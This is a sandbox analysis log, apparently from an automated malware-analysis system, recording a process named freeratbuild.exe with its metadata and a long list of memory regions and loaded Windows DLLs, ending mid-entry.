# Flog Txt Version 1 # Analyzer Version: 2023.3.1 # Analyzer Build Date: Jul 17 2023 06:23:22 # Log Creation Date: 19.09.2023 15:12:42.827 Process: id = "1" image_name = "freeratbuild.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe" page_root = "0x5347c000" os_pid = "0xd28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x778" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 118 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 119 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 120 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 121 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 122 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 123 start_va = 0x1a0000 end_va = 0x1a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 124 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 125 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 126 start_va = 0x8a0000 end_va = 0x8a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 127 start_va = 0xa10000 end_va = 0xa81fff monitored = 1 entry_point = 0xa2ec40 region_type = mapped_file name = "freeratbuild.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe") Region: id = 128 start_va = 0xa90000 end_va = 0x4a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 129 start_va = 0x77650000 end_va = 0x777cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 130 start_va = 0x7f6a0000 end_va = 0x7f6c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6a0000" filename = "" Region: id = 131 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 132 start_va = 0x7fff0000 end_va = 0x7dfb201affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 133 start_va = 0x7dfb201b0000 end_va = 0x7ffb201affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb201b0000" filename = "" Region: id = 134 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 135 start_va = 0x7ffb20371000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb20371000" filename = "" Region: id = 274 start_va = 0x400000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 275 start_va = 0x533d0000 end_va = 0x5341ffff monitored = 0 entry_point = 0x533e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 276 start_va = 0x53420000 end_va = 0x53499fff monitored = 0 entry_point = 0x53433290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 277 start_va = 0x75820000 end_va = 0x758fffff monitored = 0 entry_point = 0x75833980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 278 start_va = 0x534a0000 end_va = 0x534a7fff monitored = 0 entry_point = 0x534a17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 279 start_va = 0x4a90000 end_va = 0x4cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 280 start_va = 0x75820000 end_va = 0x758fffff monitored = 0 entry_point = 0x75833980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 281 start_va = 0x75c80000 end_va = 0x75dfdfff monitored = 0 entry_point = 0x75d31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 282 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 283 start_va = 0x7f5a0000 end_va = 0x7f69ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f5a0000" filename = "" Region: id = 284 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 285 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 286 start_va = 0x8a0000 end_va = 0x8a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 287 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 288 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 289 start_va = 0x6fbc0000 end_va = 0x6fd2afff monitored = 0 entry_point = 0x6fc2e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 290 start_va = 0x754e0000 end_va = 0x7559dfff monitored = 0 entry_point = 0x75515630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 291 start_va = 0x75610000 end_va = 0x757ccfff monitored = 0 entry_point = 0x756f2a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 292 start_va = 0x75900000 end_va = 0x759acfff monitored = 0 entry_point = 0x75914f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 293 start_va = 0x74380000 end_va = 0x7439dfff monitored = 0 entry_point = 0x7438b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 294 start_va = 0x74370000 end_va = 0x74379fff monitored = 0 entry_point = 0x74372a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 295 start_va = 0x755b0000 end_va = 0x75607fff monitored = 0 entry_point = 0x755f25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 296 start_va = 0x757d0000 end_va = 0x75813fff monitored = 0 entry_point = 0x757e9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 297 start_va = 0x74ec0000 end_va = 0x75006fff monitored = 0 entry_point = 0x74ed1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 298 start_va = 0x74a60000 end_va = 0x74baefff monitored = 0 entry_point = 0x74b16820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 299 start_va = 0x8b0000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 300 start_va = 0x5f0000 end_va = 0x777fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 301 start_va = 0x8b0000 end_va = 0x8d9fff monitored = 0 entry_point = 0x8b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 302 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 303 start_va = 0x774d0000 end_va = 0x774fafff monitored = 0 entry_point = 0x774d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 304 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 305 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 306 start_va = 0x4cc0000 end_va = 0x4e40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004cc0000" filename = "" Region: id = 307 start_va = 0x4e50000 end_va = 0x624ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e50000" filename = "" Region: id = 308 start_va = 0x6fbb0000 end_va = 0x6fbb7fff monitored = 0 entry_point = 0x6fbb17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 309 start_va = 0x6250000 end_va = 0x6586fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 310 start_va = 0x6fba0000 end_va = 0x6fbaefff monitored = 0 entry_point = 0x6fba63e0 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\SysWOW64\\sfc_os.dll" (normalized: "c:\\windows\\syswow64\\sfc_os.dll") Region: id = 311 start_va = 0x706b0000 end_va = 0x706defff monitored = 0 entry_point = 0x706c95e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 312 start_va = 0x719c0000 end_va = 0x719dafff monitored = 0 entry_point = 0x719c9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 313 start_va = 0x74250000 end_va = 0x742c4fff monitored = 0 entry_point = 0x74289a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 314 start_va = 0x8b0000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 315 start_va = 0x74230000 end_va = 0x7424cfff monitored = 0 entry_point = 0x74233b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 316 start_va = 0x6fb10000 end_va = 0x6fb90fff monitored = 0 entry_point = 0x6fb16310 region_type = mapped_file name = "riched20.dll" filename = "\\Windows\\SysWOW64\\riched20.dll" (normalized: "c:\\windows\\syswow64\\riched20.dll") Region: id = 317 start_va = 0x77260000 end_va = 0x772dafff monitored = 0 entry_point = 0x7727e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 318 start_va = 0x6faf0000 end_va = 0x6fb05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 319 start_va = 0x6fab0000 end_va = 0x6fae0fff monitored = 0 entry_point = 0x6fac22d0 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\SysWOW64\\msls31.dll" (normalized: "c:\\windows\\syswow64\\msls31.dll") Region: id = 320 start_va = 0x75a90000 end_va = 0x75b7afff monitored = 0 entry_point = 0x75acd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 321 start_va = 0x920000 end_va = 0x9b0fff monitored = 0 entry_point = 0x958cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 322 start_va = 0x772e0000 end_va = 0x772ebfff monitored = 0 entry_point = 0x772e3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 323 start_va = 0x731b0000 end_va = 0x733befff monitored = 0 entry_point = 0x7325b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 324 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 325 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 326 start_va = 0x5d0000 end_va = 0x5d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 327 start_va = 0x6590000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006590000" filename = "" Region: id = 328 start_va = 0x780000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 329 start_va = 0x4a90000 end_va = 0x4b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 330 start_va = 0x4bc0000 end_va = 0x4cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 331 start_va = 0x75e00000 end_va = 0x771fefff monitored = 0 entry_point = 0x75fbb990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 332 start_va = 0x74c50000 end_va = 0x74c86fff monitored = 0 entry_point = 0x74c53b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 333 start_va = 0x74560000 end_va = 0x74a58fff monitored = 0 entry_point = 0x74767610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 334 start_va = 0x75a40000 end_va = 0x75a84fff monitored = 0 entry_point = 0x75a5de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 335 start_va = 0x744d0000 end_va = 0x7455cfff monitored = 0 entry_point = 0x74519b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 336 start_va = 0x74430000 end_va = 0x74473fff monitored = 0 entry_point = 0x74437410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 337 start_va = 0x77620000 end_va = 0x7762efff monitored = 0 entry_point = 0x77622e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 338 start_va = 0x77500000 end_va = 0x7761efff monitored = 0 entry_point = 0x77545980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 339 start_va = 0x920000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 340 start_va = 0x6f930000 end_va = 0x6faa2fff monitored = 0 entry_point = 0x6f9dd220 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 341 start_va = 0x7c0000 end_va = 0x7dbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 342 start_va = 0x8b0000 end_va = 0x8cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 343 start_va = 0x8d0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 344 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 345 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 346 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 347 start_va = 0x7e0000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 348 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 349 start_va = 0x6590000 end_va = 0x664bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006590000" filename = "" Region: id = 350 start_va = 0x66f0000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000066f0000" filename = "" Region: id = 351 start_va = 0x8b0000 end_va = 0x8b3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 352 start_va = 0x8c0000 end_va = 0x8c4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 353 start_va = 0x900000 end_va = 0x903fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 354 start_va = 0x6700000 end_va = 0x6800fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 355 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 356 start_va = 0x6700000 end_va = 0x6bf1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006700000" filename = "" Region: id = 357 start_va = 0x800000 end_va = 0x81bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 358 start_va = 0x9a0000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 359 start_va = 0x759b0000 end_va = 0x75a33fff monitored = 0 entry_point = 0x759d6220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 360 start_va = 0x9b0000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 361 start_va = 0x820000 end_va = 0x821fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 362 start_va = 0x6f8b0000 end_va = 0x6f92cfff monitored = 0 entry_point = 0x6f8d3ef0 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 363 start_va = 0x74bb0000 end_va = 0x74c41fff monitored = 0 entry_point = 0x74be8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 364 start_va = 0x9c0000 end_va = 0x9c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 365 start_va = 0x6c00000 end_va = 0x7c3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 366 start_va = 0x7c40000 end_va = 0x7e49fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 367 start_va = 0x7c40000 end_va = 0x7d4cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 368 start_va = 0x9d0000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 369 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 370 start_va = 0x9f0000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 371 start_va = 0x7c40000 end_va = 0x7e4cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 372 start_va = 0x7c40000 end_va = 0x7d45fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 373 start_va = 0x7c40000 end_va = 0x7d41fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 374 start_va = 0x7c40000 end_va = 0x7d42fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 375 start_va = 0x7c40000 end_va = 0x7d42fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 376 start_va = 0x7c40000 end_va = 0x7d50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 377 start_va = 0x830000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 378 start_va = 0x7c40000 end_va = 0x7d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 379 start_va = 0x70320000 end_va = 0x7046afff monitored = 0 entry_point = 0x70381660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 380 start_va = 0x9f0000 end_va = 0x9f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 381 start_va = 0x6650000 end_va = 0x6694fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 382 start_va = 0x4b90000 end_va = 0x4b93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 383 start_va = 0x7d40000 end_va = 0x7dcdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 384 start_va = 0x4ba0000 end_va = 0x4bb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 385 start_va = 0x66a0000 end_va = 0x66a3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 386 start_va = 0x66b0000 end_va = 0x66c4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 387 start_va = 0x66d0000 end_va = 0x66d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000066d0000" filename = "" Region: id = 388 start_va = 0x7dd0000 end_va = 0x7e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007dd0000" filename = "" Region: id = 389 start_va = 0x7e10000 end_va = 0x7f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e10000" filename = "" Region: id = 390 start_va = 0x7f10000 end_va = 0x7f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f10000" filename = "" Region: id = 391 start_va = 0x7f50000 end_va = 0x804ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f50000" filename = "" Region: id = 392 start_va = 0x8050000 end_va = 0x808ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008050000" filename = "" Region: id = 393 start_va = 0x8090000 end_va = 0x818ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008090000" filename = "" Region: id = 394 start_va = 